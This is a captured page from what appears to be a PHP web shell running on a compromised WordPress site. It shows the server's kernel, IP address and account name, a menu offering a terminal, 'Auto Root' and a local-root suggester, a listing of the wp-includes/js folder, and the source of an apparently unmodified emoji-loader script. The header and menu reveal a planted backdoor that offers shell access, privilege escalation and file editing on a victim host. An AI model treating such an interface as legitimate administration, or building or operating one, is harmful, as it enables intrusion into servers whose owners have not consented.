Linux srv25.usacloudserver.us 5.14.0-570.39.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Sep 4 05:08:52 EDT 2025 x86_64
LiteSpeed
Server IP : 23.137.84.82 & Your IP : 216.73.216.127
Domains :
Cant Read [ /etc/named.conf ]
User : epicgamerzoneco
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
epicgamerzoneco /
public_html /
wp-includes /
js /
Delete
Unzip
Name
Size
Permission
Date
Action
codemirror
[ DIR ]
drwxr-xr-x
2025-06-12 03:44
crop
[ DIR ]
drwxr-xr-x
2025-06-12 03:44
dist
[ DIR ]
drwxr-xr-x
2025-06-12 03:44
imgareaselect
[ DIR ]
drwxr-xr-x
2025-06-12 03:44
jcrop
[ DIR ]
drwxr-xr-x
2025-06-12 03:44
jquery
[ DIR ]
drwxr-xr-x
2025-06-12 03:44
mediaelement
[ DIR ]
drwxr-xr-x
2025-06-12 03:44
plupload
[ DIR ]
drwxr-xr-x
2025-06-12 03:44
swfupload
[ DIR ]
drwxr-xr-x
2025-06-12 03:44
thickbox
[ DIR ]
drwxr-xr-x
2025-06-12 03:44
tinymce
[ DIR ]
drwxr-xr-x
2025-06-12 03:44
admin-bar.js
10.3
KB
-rw-r--r--
2024-05-11 18:28
admin-bar.min.js
3.41
KB
-rw-r--r--
2025-02-06 17:27
api-request.js
3.25
KB
-rw-r--r--
2020-12-01 03:44
api-request.min.js
1023
B
-rw-r--r--
2025-02-06 17:27
autosave.js
21.95
KB
-rw-r--r--
2025-01-23 23:54
autosave.min.js
5.67
KB
-rw-r--r--
2025-02-06 17:27
backbone.js
78.51
KB
-rw-r--r--
2024-08-08 19:37
backbone.min.js
23.73
KB
-rw-r--r--
2025-02-06 17:27
clipboard.js
26.18
KB
-rw-r--r--
2022-10-04 15:55
clipboard.min.js
8.8
KB
-rw-r--r--
2025-02-06 17:27
colorpicker.js
28.4
KB
-rw-r--r--
2012-11-17 15:11
colorpicker.min.js
16.11
KB
-rw-r--r--
2024-12-13 19:06
comment-reply.js
12.22
KB
-rw-r--r--
2024-09-03 20:36
comment-reply.min.js
2.96
KB
-rw-r--r--
2025-02-06 17:27
customize-base.js
25.22
KB
-rw-r--r--
2023-05-20 10:19
customize-base.min.js
7.67
KB
-rw-r--r--
2025-02-06 17:27
customize-loader.js
7.72
KB
-rw-r--r--
2024-04-12 17:47
customize-loader.min.js
3.47
KB
-rw-r--r--
2025-02-06 17:27
customize-models.js
6.66
KB
-rw-r--r--
2020-06-25 12:43
customize-models.min.js
3.59
KB
-rw-r--r--
2025-02-06 17:27
customize-preview-nav-menus.js
14.67
KB
-rw-r--r--
2020-07-27 23:35
customize-preview-nav-menus.min.js
4.92
KB
-rw-r--r--
2025-02-06 17:27
customize-preview-widgets.js
22.71
KB
-rw-r--r--
2020-06-20 12:58
customize-preview-widgets.min.js
7.64
KB
-rw-r--r--
2025-02-06 17:27
customize-preview.js
27.3
KB
-rw-r--r--
2020-07-27 23:35
customize-preview.min.js
10.45
KB
-rw-r--r--
2025-02-06 17:27
customize-selective-refresh.js
32.55
KB
-rw-r--r--
2024-04-12 17:47
customize-selective-refresh.min.js
10.44
KB
-rw-r--r--
2025-02-06 17:27
customize-views.js
4.95
KB
-rw-r--r--
2018-06-28 02:30
customize-views.min.js
2.39
KB
-rw-r--r--
2025-02-06 17:27
heartbeat.js
23.49
KB
-rw-r--r--
2024-09-11 23:09
heartbeat.min.js
5.81
KB
-rw-r--r--
2025-02-06 17:27
hoverIntent.js
7.06
KB
-rw-r--r--
2022-01-03 15:03
hoverIntent.min.js
1.46
KB
-rw-r--r--
2025-02-06 17:27
hoverintent-js.min.js
1.68
KB
-rw-r--r--
2019-12-10 01:03
imagesloaded.min.js
5.39
KB
-rw-r--r--
2023-08-11 18:18
json2.js
17.99
KB
-rw-r--r--
2015-10-06 14:02
json2.min.js
3.07
KB
-rw-r--r--
2025-02-06 17:27
masonry.min.js
23.57
KB
-rw-r--r--
2020-06-13 18:53
mce-view.js
25.24
KB
-rw-r--r--
2023-10-09 21:31
mce-view.min.js
9.54
KB
-rw-r--r--
2025-02-06 17:27
media-audiovideo.js
24.24
KB
-rw-r--r--
2025-03-04 14:55
media-audiovideo.min.js
11.77
KB
-rw-r--r--
2025-03-04 14:55
media-editor.js
28.44
KB
-rw-r--r--
2020-07-27 23:35
media-editor.min.js
10.63
KB
-rw-r--r--
2025-02-06 17:27
media-grid.js
26.03
KB
-rw-r--r--
2025-03-04 14:55
media-grid.min.js
12.95
KB
-rw-r--r--
2025-03-04 14:55
media-models.js
42.58
KB
-rw-r--r--
2025-03-04 14:55
media-models.min.js
12.97
KB
-rw-r--r--
2025-03-04 14:55
media-views.js
266.92
KB
-rw-r--r--
2025-03-19 16:27
media-views.min.js
108.12
KB
-rw-r--r--
2025-03-19 16:27
quicktags.js
22.07
KB
-rw-r--r--
2021-09-08 23:29
quicktags.min.js
10.87
KB
-rw-r--r--
2025-02-06 17:27
shortcode.js
10.51
KB
-rw-r--r--
2020-01-29 00:45
shortcode.min.js
2.58
KB
-rw-r--r--
2022-09-23 19:55
swfobject.js
9.99
KB
-rw-r--r--
2012-04-17 23:09
tw-sack.js
4.85
KB
-rw-r--r--
2012-08-23 00:04
tw-sack.min.js
3.21
KB
-rw-r--r--
2022-04-08 20:07
twemoji.js
32.67
KB
-rw-r--r--
2025-06-18 01:53
twemoji.min.js
15.93
KB
-rw-r--r--
2025-06-18 01:53
underscore.js
67.12
KB
-rw-r--r--
2024-08-10 23:57
underscore.min.js
18.46
KB
-rw-r--r--
2025-02-06 17:27
utils.js
4.56
KB
-rw-r--r--
2020-01-29 00:45
utils.min.js
1.82
KB
-rw-r--r--
2022-09-23 19:55
wp-ajax-response.js
3.81
KB
-rw-r--r--
2025-02-08 15:53
wp-ajax-response.min.js
2.51
KB
-rw-r--r--
2025-02-08 15:53
wp-api.js
45.88
KB
-rw-r--r--
2023-01-10 09:30
wp-api.min.js
14.34
KB
-rw-r--r--
2025-02-06 17:27
wp-auth-check.js
4.11
KB
-rw-r--r--
2021-03-18 19:01
wp-auth-check.min.js
1.62
KB
-rw-r--r--
2025-02-06 17:27
wp-backbone.js
14.88
KB
-rw-r--r--
2024-04-12 17:47
wp-backbone.min.js
2.97
KB
-rw-r--r--
2025-02-06 17:27
wp-custom-header.js
10.22
KB
-rw-r--r--
2021-04-10 12:40
wp-custom-header.min.js
4.34
KB
-rw-r--r--
2025-02-06 17:27
wp-embed-template.js
6.62
KB
-rw-r--r--
2021-11-11 02:49
wp-embed-template.min.js
3.1
KB
-rw-r--r--
2025-02-06 17:27
wp-embed.js
3.14
KB
-rw-r--r--
2023-08-10 19:49
wp-embed.min.js
1.22
KB
-rw-r--r--
2025-02-06 17:27
wp-emoji-loader.js
13.68
KB
-rw-r--r--
2025-06-18 01:53
wp-emoji-loader.min.js
3.02
KB
-rw-r--r--
2025-06-18 01:53
wp-emoji-release.min.js
18.8
KB
-rw-r--r--
2025-06-18 01:53
wp-emoji.js
8.76
KB
-rw-r--r--
2023-02-02 00:53
wp-emoji.min.js
2.82
KB
-rw-r--r--
2025-02-06 17:27
wp-list-revisions.js
970
B
-rw-r--r--
2018-06-28 02:30
wp-list-revisions.min.js
597
B
-rw-r--r--
2025-02-06 17:27
wp-lists.js
24.72
KB
-rw-r--r--
2023-06-24 14:32
wp-lists.min.js
7.34
KB
-rw-r--r--
2025-02-06 17:27
wp-pointer.js
9.99
KB
-rw-r--r--
2021-02-16 20:25
wp-pointer.min.js
3.54
KB
-rw-r--r--
2025-02-06 17:27
wp-sanitize.js
1.31
KB
-rw-r--r--
2025-01-27 19:25
wp-sanitize.min.js
458
B
-rw-r--r--
2022-04-08 20:07
wp-util.js
4.57
KB
-rw-r--r--
2022-09-20 03:52
wp-util.min.js
1.39
KB
-rw-r--r--
2025-02-06 17:27
wpdialog.js
569
B
-rw-r--r--
2023-01-24 21:13
wpdialog.min.js
281
B
-rw-r--r--
2025-02-06 17:27
wplink.js
20.74
KB
-rw-r--r--
2025-01-23 23:54
wplink.min.js
11.05
KB
-rw-r--r--
2025-02-06 17:27
zxcvbn-async.js
821
B
-rw-r--r--
2018-06-28 02:30
zxcvbn-async.min.js
351
B
-rw-r--r--
2021-02-23 16:45
zxcvbn.min.js
802.97
KB
-rw-r--r--
2019-10-26 00:17
Save
Rename
/** * @output wp-includes/js/wp-emoji-loader.js */ /** * Emoji Settings as exported in PHP via _print_emoji_detection_script(). * @typedef WPEmojiSettings * @type {object} * @property {?object} source * @property {?string} source.concatemoji * @property {?string} source.twemoji * @property {?string} source.wpemoji * @property {?boolean} DOMReady * @property {?Function} readyCallback */ /** * Support tests. * @typedef SupportTests * @type {object} * @property {?boolean} flag * @property {?boolean} emoji */ /** * IIFE to detect emoji support and load Twemoji if needed. * * @param {Window} window * @param {Document} document * @param {WPEmojiSettings} settings */ ( function wpEmojiLoader( window, document, settings ) { if ( typeof Promise === 'undefined' ) { return; } var sessionStorageKey = 'wpEmojiSettingsSupports'; var tests = [ 'flag', 'emoji' ]; /** * Checks whether the browser supports offloading to a Worker. * * @since 6.3.0 * * @private * * @returns {boolean} */ function supportsWorkerOffloading() { return ( typeof Worker !== 'undefined' && typeof OffscreenCanvas !== 'undefined' && typeof URL !== 'undefined' && URL.createObjectURL && typeof Blob !== 'undefined' ); } /** * @typedef SessionSupportTests * @type {object} * @property {number} timestamp * @property {SupportTests} supportTests */ /** * Get support tests from session. * * @since 6.3.0 * * @private * * @returns {?SupportTests} Support tests, or null if not set or older than 1 week. */ function getSessionSupportTests() { try { /** @type {SessionSupportTests} */ var item = JSON.parse( sessionStorage.getItem( sessionStorageKey ) ); if ( typeof item === 'object' && typeof item.timestamp === 'number' && new Date().valueOf() < item.timestamp + 604800 && // Note: Number is a week in seconds. typeof item.supportTests === 'object' ) { return item.supportTests; } } catch ( e ) {} return null; } /** * Persist the supports in session storage. * * @since 6.3.0 * * @private * * @param {SupportTests} supportTests Support tests. */ function setSessionSupportTests( supportTests ) { try { /** @type {SessionSupportTests} */ var item = { supportTests: supportTests, timestamp: new Date().valueOf() }; sessionStorage.setItem( sessionStorageKey, JSON.stringify( item ) ); } catch ( e ) {} } /** * Checks if two sets of Emoji characters render the same visually. * * This is used to determine if the browser is rendering an emoji with multiple data points * correctly. set1 is the emoji in the correct form, using a zero-width joiner. set2 is the emoji * in the incorrect form, using a zero-width space. If the two sets render the same, then the browser * does not support the emoji correctly. * * This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing * scope. Everything must be passed by parameters. * * @since 4.9.0 * * @private * * @param {CanvasRenderingContext2D} context 2D Context. * @param {string} set1 Set of Emoji to test. * @param {string} set2 Set of Emoji to test. * * @return {boolean} True if the two sets render the same. */ function emojiSetsRenderIdentically( context, set1, set2 ) { // Cleanup from previous test. context.clearRect( 0, 0, context.canvas.width, context.canvas.height ); context.fillText( set1, 0, 0 ); var rendered1 = new Uint32Array( context.getImageData( 0, 0, context.canvas.width, context.canvas.height ).data ); // Cleanup from previous test. context.clearRect( 0, 0, context.canvas.width, context.canvas.height ); context.fillText( set2, 0, 0 ); var rendered2 = new Uint32Array( context.getImageData( 0, 0, context.canvas.width, context.canvas.height ).data ); return rendered1.every( function ( rendered2Data, index ) { return rendered2Data === rendered2[ index ]; } ); } /** * Checks if the center point of a single emoji is empty. * * This is used to determine if the browser is rendering an emoji with a single data point * correctly. The center point of an incorrectly rendered emoji will be empty. A correctly * rendered emoji will have a non-zero value at the center point. * * This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing * scope. Everything must be passed by parameters. * * @since 6.8.2 * * @private * * @param {CanvasRenderingContext2D} context 2D Context. * @param {string} emoji Emoji to test. * * @return {boolean} True if the center point is empty. */ function emojiRendersEmptyCenterPoint( context, emoji ) { // Cleanup from previous test. context.clearRect( 0, 0, context.canvas.width, context.canvas.height ); context.fillText( emoji, 0, 0 ); // Test if the center point (16, 16) is empty (0,0,0,0). var centerPoint = context.getImageData(16, 16, 1, 1); for ( var i = 0; i < centerPoint.data.length; i++ ) { if ( centerPoint.data[ i ] !== 0 ) { // Stop checking the moment it's known not to be empty. return false; } } return true; } /** * Determines if the browser properly renders Emoji that Twemoji can supplement. * * This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing * scope. Everything must be passed by parameters. * * @since 4.2.0 * * @private * * @param {CanvasRenderingContext2D} context 2D Context. * @param {string} type Whether to test for support of "flag" or "emoji". * @param {Function} emojiSetsRenderIdentically Reference to emojiSetsRenderIdentically function, needed due to minification. * @param {Function} emojiRendersEmptyCenterPoint Reference to emojiRendersEmptyCenterPoint function, needed due to minification. * * @return {boolean} True if the browser can render emoji, false if it cannot. */ function browserSupportsEmoji( context, type, emojiSetsRenderIdentically, emojiRendersEmptyCenterPoint ) { var isIdentical; switch ( type ) { case 'flag': /* * Test for Transgender flag compatibility. Added in Unicode 13. * * To test for support, we try to render it, and compare the rendering to how it would look if * the browser doesn't render it correctly (white flag emoji + transgender symbol). */ isIdentical = emojiSetsRenderIdentically( context, '\uD83C\uDFF3\uFE0F\u200D\u26A7\uFE0F', // as a zero-width joiner sequence '\uD83C\uDFF3\uFE0F\u200B\u26A7\uFE0F' // separated by a zero-width space ); if ( isIdentical ) { return false; } /* * Test for Sark flag compatibility. This is the least supported of the letter locale flags, * so gives us an easy test for full support. * * To test for support, we try to render it, and compare the rendering to how it would look if * the browser doesn't render it correctly ([C] + [Q]). */ isIdentical = emojiSetsRenderIdentically( context, '\uD83C\uDDE8\uD83C\uDDF6', // as the sequence of two code points '\uD83C\uDDE8\u200B\uD83C\uDDF6' // as the two code points separated by a zero-width space ); if ( isIdentical ) { return false; } /* * Test for English flag compatibility. England is a country in the United Kingdom, it * does not have a two letter locale code but rather a five letter sub-division code. * * To test for support, we try to render it, and compare the rendering to how it would look if * the browser doesn't render it correctly (black flag emoji + [G] + [B] + [E] + [N] + [G]). */ isIdentical = emojiSetsRenderIdentically( context, // as the flag sequence '\uD83C\uDFF4\uDB40\uDC67\uDB40\uDC62\uDB40\uDC65\uDB40\uDC6E\uDB40\uDC67\uDB40\uDC7F', // with each code point separated by a zero-width space '\uD83C\uDFF4\u200B\uDB40\uDC67\u200B\uDB40\uDC62\u200B\uDB40\uDC65\u200B\uDB40\uDC6E\u200B\uDB40\uDC67\u200B\uDB40\uDC7F' ); return ! isIdentical; case 'emoji': /* * Does Emoji 16.0 cause the browser to go splat? * * To test for Emoji 16.0 support, try to render a new emoji: Splatter. * * The splatter emoji is a single code point emoji. Testing for browser support * required testing the center point of the emoji to see if it is empty. * * 0xD83E 0xDEDF (\uD83E\uDEDF) == 🫟 Splatter. * * When updating this test, please ensure that the emoji is either a single code point * or switch to using the emojiSetsRenderIdentically function and testing with a zero-width * joiner vs a zero-width space. */ var notSupported = emojiRendersEmptyCenterPoint( context, '\uD83E\uDEDF' ); return ! notSupported; } return false; } /** * Checks emoji support tests. * * This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing * scope. Everything must be passed by parameters. * * @since 6.3.0 * * @private * * @param {string[]} tests Tests. * @param {Function} browserSupportsEmoji Reference to browserSupportsEmoji function, needed due to minification. * @param {Function} emojiSetsRenderIdentically Reference to emojiSetsRenderIdentically function, needed due to minification. * @param {Function} emojiRendersEmptyCenterPoint Reference to emojiRendersEmptyCenterPoint function, needed due to minification. * * @return {SupportTests} Support tests. */ function testEmojiSupports( tests, browserSupportsEmoji, emojiSetsRenderIdentically, emojiRendersEmptyCenterPoint ) { var canvas; if ( typeof WorkerGlobalScope !== 'undefined' && self instanceof WorkerGlobalScope ) { canvas = new OffscreenCanvas( 300, 150 ); // Dimensions are default for HTMLCanvasElement. } else { canvas = document.createElement( 'canvas' ); } var context = canvas.getContext( '2d', { willReadFrequently: true } ); /* * Chrome on OS X added native emoji rendering in M41. Unfortunately, * it doesn't work when the font is bolder than 500 weight. So, we * check for bold rendering support to avoid invisible emoji in Chrome. */ context.textBaseline = 'top'; context.font = '600 32px Arial'; var supports = {}; tests.forEach( function ( test ) { supports[ test ] = browserSupportsEmoji( context, test, emojiSetsRenderIdentically, emojiRendersEmptyCenterPoint ); } ); return supports; } /** * Adds a script to the head of the document. * * @ignore * * @since 4.2.0 * * @param {string} src The url where the script is located. * * @return {void} */ function addScript( src ) { var script = document.createElement( 'script' ); script.src = src; script.defer = true; document.head.appendChild( script ); } settings.supports = { everything: true, everythingExceptFlag: true }; // Create a promise for DOMContentLoaded since the worker logic may finish after the event has fired. var domReadyPromise = new Promise( function ( resolve ) { document.addEventListener( 'DOMContentLoaded', resolve, { once: true } ); } ); // Obtain the emoji support from the browser, asynchronously when possible. new Promise( function ( resolve ) { var supportTests = getSessionSupportTests(); if ( supportTests ) { resolve( supportTests ); return; } if ( supportsWorkerOffloading() ) { try { // Note that the functions are being passed as arguments due to minification. var workerScript = 'postMessage(' + testEmojiSupports.toString() + '(' + [ JSON.stringify( tests ), browserSupportsEmoji.toString(), emojiSetsRenderIdentically.toString(), emojiRendersEmptyCenterPoint.toString() ].join( ',' ) + '));'; var blob = new Blob( [ workerScript ], { type: 'text/javascript' } ); var worker = new Worker( URL.createObjectURL( blob ), { name: 'wpTestEmojiSupports' } ); worker.onmessage = function ( event ) { supportTests = event.data; setSessionSupportTests( supportTests ); worker.terminate(); resolve( supportTests ); }; return; } catch ( e ) {} } supportTests = testEmojiSupports( tests, browserSupportsEmoji, emojiSetsRenderIdentically, emojiRendersEmptyCenterPoint ); setSessionSupportTests( supportTests ); resolve( supportTests ); } ) // Once the browser emoji support has been obtained from the session, finalize the settings. .then( function ( supportTests ) { /* * Tests the browser support for flag emojis and other emojis, and adjusts the * support settings accordingly. */ for ( var test in supportTests ) { settings.supports[ test ] = supportTests[ test ]; settings.supports.everything = settings.supports.everything && settings.supports[ test ]; if ( 'flag' !== test ) { settings.supports.everythingExceptFlag = settings.supports.everythingExceptFlag && settings.supports[ test ]; } } settings.supports.everythingExceptFlag = settings.supports.everythingExceptFlag && ! settings.supports.flag; // Sets DOMReady to false and assigns a ready function to settings. settings.DOMReady = false; settings.readyCallback = function () { settings.DOMReady = true; }; } ) .then( function () { return domReadyPromise; } ) .then( function () { // When the browser can not render everything we need to load a polyfill. if ( ! settings.supports.everything ) { settings.readyCallback(); var src = settings.source || {}; if ( src.concatemoji ) { addScript( src.concatemoji ); } else if ( src.wpemoji && src.twemoji ) { addScript( src.twemoji ); addScript( src.wpemoji ); } } } ); } )( window, document, window._wpemojiSettings );